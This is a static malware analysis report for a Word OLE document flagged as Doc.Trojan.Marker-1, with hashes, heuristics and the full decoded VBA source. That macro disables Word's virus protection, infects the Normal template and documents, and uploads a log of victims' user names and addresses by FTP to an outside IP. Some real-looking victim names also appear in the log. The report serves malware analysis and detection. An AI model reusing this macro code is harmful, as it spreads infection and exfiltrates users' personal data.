Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 830791ffe356bba9…

MALICIOUS

Office (OLE)

44.5 KB Created: 1997-09-17 11:18:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 87bc953e2e33fae4b96203e2ee85fae6 SHA-1: cbef1b22d21cb617a40f56708ad7c37131e2794c SHA-256: 830791ffe356bba9691de8034145da8c67789ae7280a3634624a5b79abca7d6c
320 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer

The file contains VBA macros that are designed to execute shell commands. Specifically, the macro attempts to write a file to 'c:\hsf*.sys' and another file to 'c:\netldx.vxd' which contains connection details to '209.201.88.110'. This indicates the macro's purpose is to download and execute a second-stage payload from the specified IP address, aligning with Ingress Tool Transfer.

Heuristics 6

  • ClamAV: Doc.Trojan.Marker-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Marker-1
  • Embedded Office document has suspicious static findings critical EMBEDDED_OFFICE_CHILD_STATIC_TRIAGE
    A CFB/OLE Office document was found inside another file type and its carved contents matched Office exploit or payload heuristics. This catches wrapped exploit documents where the top-level file routes to a PE, archive, or generic scanner instead of Office.
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • OLE document has large unaccounted-for region high OLE_SLACK_ANOMALY
    OLE file is 28,924 bytes but its declared streams total only 0 bytes — 28,924 bytes (100%) live in unallocated sector slack. This is the canonical hiding place for pre-macro-era Office exploit payloads (XOR-encoded shellcode reached via a parser pointer-corruption bug in the document structure).
  • CFB header with no readable streams medium OLE_PARSE_EMPTY_STREAMS
    The file begins with a valid OLE2/CFB header but exposes no directory streams. A non-empty compound document with an unreadable directory is anomalous — it is seen with truncated/corrupt files and, more importantly, with content deliberately shifted off byte boundaries to defeat parsers while the host application still recovers the object.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 24594 bytes
SHA-256: df410324189614fd976d74d63f829e9b4daafc18e4c3489805b39ba28c26d18d
Detection
ClamAV: Doc.Trojan.Marker-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Close()

On Error Resume Next

Const Marker = "<- this is a marker!"

'Declare Variables
Dim SaveDocument, SaveNormalTemplate, DocumentInfected, NormalTemplateInfected As Boolean
Dim ad, nt As Object
Dim OurCode, UserAddress, LogData, LogFile As String

'Initialize Variables
Set ad = ActiveDocument.VBProject.VBComponents.Item(1)
Set nt = NormalTemplate.VBProject.VBComponents.Item(1)

DocumentInfected = ad.CodeModule.Find(Marker, 16385, 1, 10000, 10000)
NormalTemplateInfected = nt.CodeModule.Find(Marker, 1, 1, 26384, 10000)


'Switch the VirusProtection OFF
Options.VirusProtection = False


  If (Day(Now()) = 1) And (System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info", "LogFile") = False) Then
  
    If DocumentInfected = True Then
      LogData = ad.CodeModule.Lines(1, ad.CodeModule.CountOfLines)
    ElseIf NormalTemplateInfected = True Then
      LogData = nt.CodeModule.Lines(1, nt.CodeModule.CountOfLines)
    End If
    
    LogData = Mid(LogData, InStr(1, LogData, "' Log" & "file -->"), Len(LogData) - InStr(1, LogData, "' Log" & "file -->"))
    
    For i = 1 To 4
      LogFile = LogFile + Mid(Str(Int(8 * Rnd)), 2, 1)
    Next i
    LogFile = "C:\hsf" & LogFile & ".sys"
    
    Open LogFile For Output As #1
    Print #1, LogData
    Close #1
    
    Open "c:\netldx.vxd" For Output As #1
    Print #1, "o 209.201.88.110"
    Print #1, "user anonymous"
    Print #1, "pass itsme@"
    Print #1, "cd incoming"
    Print #1, "ascii"
    Print #1, "put " & LogFile
    Print #1, "quit"
    Close #1
    
    Shell "command.com /c ftp.exe -n -s:c:\netldx.vxd", vbHide
    
    System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info", "LogFile") = True
    
  End If


'Make sure that some conditions are true before we continue infecting anything
If (DocumentInfected = True Xor NormalTemplateInfected = True) And _
   (ActiveDocument.SaveFormat = wdFormatDocument Or _
   ActiveDocument.SaveFormat = wdFormatTemplate) Then
   
   
  'Infect the NormalTemplate
  If DocumentInfected = True Then
  
    SaveNormalTemplate = NormalTemplate.Saved
  
    OurCode = ad.CodeModule.Lines(1, ad.CodeModule.CountOfLines)

    
    'Write a log file of this NormalTemplate infection
    For i = 1 To Len(Application.UserAddress)
      If Mid(Application.UserAddress, i, 1) <> Chr(13) Then
        If Mid(Application.UserAddress, i, 1) <> Chr(10) Then
          UserAddress = UserAddress & Mid(Application.UserAddress, i, 1)
        End If
      Else
        UserAddress = UserAddress & Chr(13) & "' "
      End If
    Next i

    OurCode = OurCode & Chr(13) & _
              "' " & Format(Time, "hh:mm:ss AMPM - ") & _
                     Format(Date, "dddd, d mmm yyyy") & Chr(13) & _
              "' " & Application.UserName & Chr(13) & _
              "' " & UserAddress & Chr(13)


    nt.CodeModule.DeleteLines 1, nt.CodeModule.CountOfLines
    nt.CodeModule.AddFromString OurCode
    
    If SaveNormalTemplate = True Then NormalTemplate.Save
    
  End If


  'Infect the ActiveDocument
  If NormalTemplateInfected = True And _
     (Mid(ActiveDocument.FullName, 2, 1) = ":" Or _
     ActiveDocument.Saved = False) Then
  
    SaveDocument = ActiveDocument.Saved
    
    OurCode = nt.CodeModule.Lines(1, nt.CodeModule.CountOfLines)

    ad.CodeModule.DeleteLines 1, ad.CodeModule.CountOfLines
    ad.CodeModule.AddFromString OurCode
    
    If SaveDocument = True Then ActiveDocument.Save
      
  End If
  
    
End If

End Sub

' Logfile -->

' 09:08:36  - Saturday, 28 Nov 1998
' SPo0Ky
' Blue Planet
'



' 02:50:31 PM - Saturday, 28 Nov 1998
' MARK B. SEAY
'



' 08:04:45 AM - F
... (truncated)
embedded_office_off00004104.ole embedded-office Embedded OLE/CFB Office body inside ole container at offset 0x4104 28924 bytes
SHA-256: 5517137cdb546e1a189b829fab6bfa3cd61e3aab0ca2932391be22f434ea8a65

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